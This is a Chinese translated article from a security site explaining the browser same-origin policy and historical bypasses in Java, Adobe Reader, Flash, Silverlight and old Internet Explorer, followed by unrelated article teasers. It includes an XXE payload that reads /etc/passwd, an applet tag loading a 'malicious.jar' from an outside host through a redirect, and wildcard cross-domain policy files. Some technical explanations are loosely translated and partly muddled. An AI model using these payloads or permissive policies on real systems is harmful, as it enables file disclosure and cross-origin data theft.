同源策略详解及绕过(Part1)

标签: WEB安全 | 发表时间:2015-04-25 17:48 | 作者:鸢尾
出处:http://www.freebuf.com

浏览器有一个很重要的概念——同源策略(Same-Origin Policy)。所谓同源是指,域名,协议,端口相同。不同源的客户端脚本(javascript、ActionScript)在没明确授权的情况下,不能读写对方的资源。

简单的来说,浏览器允许包含在页面A的脚本访问第二个页面B的数据资源,这一切是建立在A和B页面是同源的基础上。

同源策略是由Netscape提出的一个著名的安全策略,现在所有支持JavaScript 的浏览器都会使用这个策略。
实际上,这种策略只是一个规范,并不是强制要求,各大厂商的浏览器只是针对同源策略的一种实现。它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。

如果Web世界没有同源策略,当你登录FreeBuf账号并打开另一个站点时,这个站点上的JavaScript可以跨域读取你的FreeBuf账号数据,这样整个Web世界就无隐私可言了。

情景设想

将一个学校内的学生看作不同源的个体。虽然一个班级里面有许多学生,但是他们都是互不相关的个体。学生家长请求老师提供同学们的学习成绩报告,老师会告诉家长,你只能够查看自家孩子的学习成绩报告。

同理,学校收到请求要对一个学生的学习成绩进行评价,那么在出具评价报告之前,学校需要对请求者的身份进行确认。

这就是与浏览器密切相关的同源策略

继续假设,学校允许任何人不经过身份确认查看学生的学习成绩报告,这就和浏览器没有同源策略一样。
同源策略机制为现代广泛依赖于cookie维护用户会话的Web浏览器定义了一个特殊的功能,严格隔离不相关的网站提供的内容,防止客户端数据机密性或完整性丢失。

同源策略重要吗?

假设你已经成功登录Gmail服务器,同时在同一个浏览器访问恶意站点(另一个浏览器选项卡)。没有同源策略,攻击者可以通过JavaScript获取你的邮件以及其他敏感信息,比如说阅读你的私密邮件,发送虚假邮件,看你的聊天记录等等。

将Gmail替换为你的银行帐户,问题就大条了。

SOP和DOM: 同源策略与文档对象模型

当我们谈论如何使用JavaScript访问DOM时,我们考虑了URL的三个要素(主机名 + 访问协议 + 端口号)
如果不止一个站点拥有相同的主机名、访问协议、端口号,那么他是能够成功访问到DOM的。然而,IE仅仅只是验证主机名以及访问协议,忽略了端口号。

在大多数情况下,多个站点可能在同一根域(获取源页面的DOM)。

例如,cart.httpsecure.org需要访问login.httpsecure.org来进行身份验证。在这种情况下,网站可以使用document.domain属性允许相同域下的其他站点进行DOM交互。如果你允许cart.httpsecure.org与login.httpsecure.org进行交互,开发者需要在两个站点的根域设置document.domain属性。

document.domain = “httpsecure.org”

这表示在当前页面,httpsecure.org下的任何站点都可以访问DOM资源。当你这样设置后,你应该时刻保持警惕!比如说你部署在网络上的另一个站点about.httpsecure.org,假设这个站点存在漏洞,那么cart.httpsecure.org这个站点也可能存在漏洞并且可以访问这个源。

如果攻击者能够上传一些恶意代码,那么about.httpsecure.org也会获得访问其他站点的权限。

SOP和CORS:同源策略与跨源资源共享

跨源资源共享(CORS)是一种允许多种资源(图片,Css,字体,JavaScript等)在一个web页面请求域之外的另一个域的资源的机制。

使用XMLHttpRequest对象发起HTTP请求就必须遵守同源策略。具体而言,Web应用程序能且只能使用XMLHttpRequest对象向其加载的源域名发起HTTP请求,而不能向任何其它域名发起请求。跨源资源共享这种机制让Web应用服务器能支持跨站访问控制,从而使得安全地进行跨站数据传输成为可能。

如果httpsecure.org源返回下面的响应头,所有httpsecure.org的子域与根域就打开了一个双向的通信通道:

Access-Control-Allow-Origin: *.Httpsecure.org
Access-Control-Allow-Methods: OPTIONS, GET, POST, HEAD, PUT
Access-Control-Allow-Headers: X-custom
Access-Control-Allow-Credentials: true

在上面的响应头中,第一行定义了双向通信通道,第二行定义了请求可以使用OPTIONS, GET, POST, PUT, HEAD中的任何方式,第三行则是定义的响应头,最后一行允许经过身份验证的资源进行通信。

SOP与plugins:同源策略与插件

注释:如果在httpsecure.org:80安装插件,那么只能允许插件访问httpsecure.org:80

由于不同的绕过方法,在Java,Adobe Reader,Flash,Silverlight中实现同源策略是十分痛苦的。大多数浏览器都使用他们自己的方式实现同源策略,如果处在同一个IP地址,一些Java版本会认为两个不同的域名应用同一个同源策略。这对于虚拟主机环境(多个域名使用同一个IP)来说可能是一个毁灭性的灾难。

谈论Flash player以及PDF reader插件,他们都有一个悠久的漏洞历史。这些漏洞大多数都是允许攻击者远程执行任意代码,这远比同源策略绕过更可怕!

在Flash中,你可以通过crossdomain.xml管理跨源通信,该文件一般在根目录下

<?xml version="1.0"?>
<cross-domain-policy>
<site-control permitted-cross-domain-policies="by-content-type"/>
<allow-access-from domain="*.httpsecure.org" />
</cross-domain-policy>

使用这段代码的httpsecure.org子域可以实现站点的双向通信,Crossdomain.xml还支持Java以及JavaScript插件。

SOP与UI redressing:同源策略与界面伪装

点击劫持(clickjacking)是一种在网页中将恶意代码等隐藏在看似无害的内容(如按钮)之下,并诱使用户点击的手段。该术语最早由雷米亚·格罗斯曼(Jeremiah Grossman)与罗伯特·汉森(Robert Hansen)于2008年提出。这种行为又被称为界面伪装(UI redressing)。对于攻击者同源策略绕过,方法各有不同。事实上一部分攻击还是利用同源策略没有执行。

Java同源策略 绕过

在Java1.7u17版本和1.6u45版本中,如果两个主机名解析到同一个IP地址,那么就不会执行同源策略(Httpsecure.org和 httpssecure.com解析到同一个IP地址)。Java applet(是一种在Web环境下,运行于客户端的Java程序组件,每个Applet的功能都比较单一)可以解决跨院请求和读取响应信息。

在Java6和Java7版本,如果两个主机名解析到同一个IP地址,那么会被认定为两个主机是相同的。

在Java同源策略中实现这种类型的漏洞,那会十分恐怖。特别是对于虚拟主机(多个域名解析到同一个IP地址)来说,那将是毁灭性的灾难。

最重要的是,通过applet使用BufferedReader和InputStreamReader对象考虑有关的权限需要。在Java1.6不需要运行applet实现用户交互,在1.7版本就不同了。现在用户必须使用点击播放特性(click to play feature)运行有签名和没有签名的applet,这个特性可以使用IMMUNITY来绕过并且导致了后来的CVE-2011-3546(在Java中同源策略绕过)。类似的在Adobe reader也发现了同源策略绕过。

<applet
code="malicious.class"
archive="http://httpsecure.org?redirect_to=

http://securityhacking123.com/malicious.jar"

width="100" height="100">
</applet>

Adobe Reader同源策略绕过

Adobe Reader在浏览器插件中存在许多的安全问题,其大部分漏洞都是由于溢出问题导致的任意代码执行漏洞。在Adobe Reader PDF中可以使用JavaScript,正是这个原因,所以有很多恶意软件将代码隐藏在PDF文件之中。

CVE-2013-0622通过未明向量,远程攻击者利用该漏洞绕过预期的访问限制。

如果我们谈论到XXE Injection,这涉及到试图注入恶意负载到请求中,输入如下:

<!DOCTYPE bar >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "/etc/passwd" >]><bar>&xxe;</bar>

&XXE的值取而代之的是/etc/passwd,这项技术可以被用到同源策略绕过,它会加载XE并且服务器会返回一个302重定向响应。

Adobe Flash同源策略绕过

Adobe Flash使用crossdomain.xml文件控制Flash接收数据。我们可以在该文件中添加限制,只信任添加在内的站点。

<?xml version="1.0"?>
<cross-domain-policy>
<site-control permitted-cross-domain-policies="by-content-type"/>
<allow-access-from domain="*" />
</cross-domain-policy>

通过设置allow-access-from属性的域,您可以允许访问来自任何域的文档。

Silverlight同源策略绕过

Silverlight是微软推出的一款插件,其与Flash使用相同的同源策略。然而,其使用的clientaccess-policy.xml代码如下所示:

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*"/>
</allow-from>
<grant-to>
<resource path="/" include-subpaths="true"/>
</grant-to>
</policy>
</cross-domain-access>
</access-policy>

请记住Silverlight与Flash是不同的,如Silverlight没有隔离基于协议和端口的不同源的访问,而Flash就会隔离。所以在Silverlight中 https://Httpsecure.org  和 http://Httpsecure.org  会被认为是同源。

Internet Explorer同源策略绕过

Internet Explorer8以及前面的版本很容易通过document.domain实现同源策略绕过,通过重写文档对象,域属性这个问题可以十分轻松的被利用。

var document;
document = {};
document.domain = ‘httpsecure.org';
alert(document.domain);

如果你在最新的浏览器中运行这段代码,可能在JavaScript控制台会显示一个同源策略绕过错误。

参考文献

http://en.wikipedia.org/wiki/Same-origin_policy

http://en.wikipedia.org/wiki/Cross-origin_resource_sharing

http://en.wikipedia.org/wiki/Clickjacking

https://browserhacker.com/

* 参考来源 infosec,译者/鸢尾 转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

相关 [同源 策略 part1] 推荐:

同源策略详解及绕过(Part1)

- - FreeBuf.COM | 关注黑客与极客
浏览器有一个很重要的概念——同源策略(Same-Origin Policy). 所谓同源是指,域名,协议,端口相同. 不同源的客户端脚本(javascript、ActionScript)在没明确授权的情况下,不能读写对方的资源. 简单的来说,浏览器允许包含在页面A的脚本访问第二个页面B的数据资源,这一切是建立在A和B页面是同源的基础上.

CHA研的世界!(PART1)

- 葱八 - 怪奇小屋
虽然专门选了比较糟糕的几篇还用了特别糟糕的标签贴到这里来不过意外地到现在都没有被和谐呢……. 总之再测试一阵子下限,然后再把之前BLOG的搬运过来吧. 在这之前就先把微博上之前画的一些条漫汇总一下好了XD. 这个是某一天去医院体检之后想起来的事情XD. 意味不明的保龄球漫画XD好孩子请不要去搜索最后的TENGA是什么意思喔XD.

从零开始学Android应用安全测试(Part1)

- - FreeBuf.COM | 关注黑客与极客
在本系列文章中,利用InsecureBankv2这款含有漏洞的安卓应用,我们可以了解到有关安卓应用安全的种种概念. 我们将从一个新手的角度看待每一个问题. 所以,我建议新手朋友可以关注下本系列文章. 由于教程是从零开始,前面的东西不免会比较基础,老鸟请先飞过吧. 在对安卓应用测试之前,我们需要搭建一个合适的移动渗透平台.

CDN缓存策略

- - 开心平淡对待每一天。热爱生活
   CDN这个东西,当然是个好东西. 所以看到有FAQ就理所当然的复制下来,其实,最近我突然想到一件事情,中国的地区域名还有一个很有意思的地域域名,那就是js.cn,所以,我悄悄的申请了两个域名,cache.js.cn和cdn.js.cn,就是想用来做这种CDN转发,当然,只是简单的. 我最初的想法是(有一小部分),如果我的服务器里有N多人装了DZ论坛,那么这些JS和CSS其实都是共用的.

MySQL安全策略

- - OurMySQL
   MySQL被运用于越来越多的业务中,在关键业务中对数据安全性的要求也更高,如何保证MySQL的数据安全.    MySQL被运用于越来越多的业务中,在关键业务中对数据安全性的要求也更高,如何保证MySQL的数据安全.    数据安全如果只靠MySQL应用层面显然是不够的,是需要在多个层面来保护的,包括网络、系统、逻辑应用层、数据库层等.

Cassandra 1.1的缓存策略

- - NoSQLFan
从0.5和0.6版本开始, Cassandra就提供了主键 缓存和行缓存. 在1.1 版本中,Cassandra的核心开发团队重新对缓存策略进行了设计和实现,以提供配置更简单但同时又更高效的缓存效果. 为什么要将缓存集成到数据库内部. 实际上,缓存既可以储存到数据库内部,也可以是外部的独立缓存层.

Git分支管理策略

- - 阮一峰的网络日志
如果你严肃对待编程,就必定会使用" 版本管理系统"(Version Control System). 眼下最流行的"版本管理系统",非 Git莫属. 相比同类软件,Git有很多优点. 其中很显著的一点,就是版本的分支(branch)和合并(merge)十分方便. 有些传统的版本管理软件,分支操作实际上会生成一份现有代码的物理拷贝,而Git只生成一个指向当前版本(又称"快照")的指针,因此非常快捷易用.

多分支开发策略

- - CSDN博客研发管理推荐文章
ü  功能开发 (开发人员). ü  bug修复,包括测试版本的bugfix和生产版本的hotfix (开发人员). ü  版本集成,包括发布测试版本和生产版本 (项目经理). ü  版本测试 (测试人员). ü  保证bug修复与功能开发并行,不会出现堵塞情形. ü  保证可以快速版本集成. 实现方式就是多分支 + 里程碑标记.

Java异常处理策略

- - 研发管理 - ITeye博客
任务与预先设定的规则不相符的情况都可以称之为异常. 但凡业务逻辑操作,都会划定一些边界或规则,但是往往事与愿违,总会有调皮鬼来挑战系统的健壮性. 用户并不都是知道潜规则的,比如用户的银行账户中只有100块钱,但是用户不查询就直接取200块. 码农有时候太过自信了,比如你在编写文件下载功能时忽略了文件有可能不存在这个分支流程.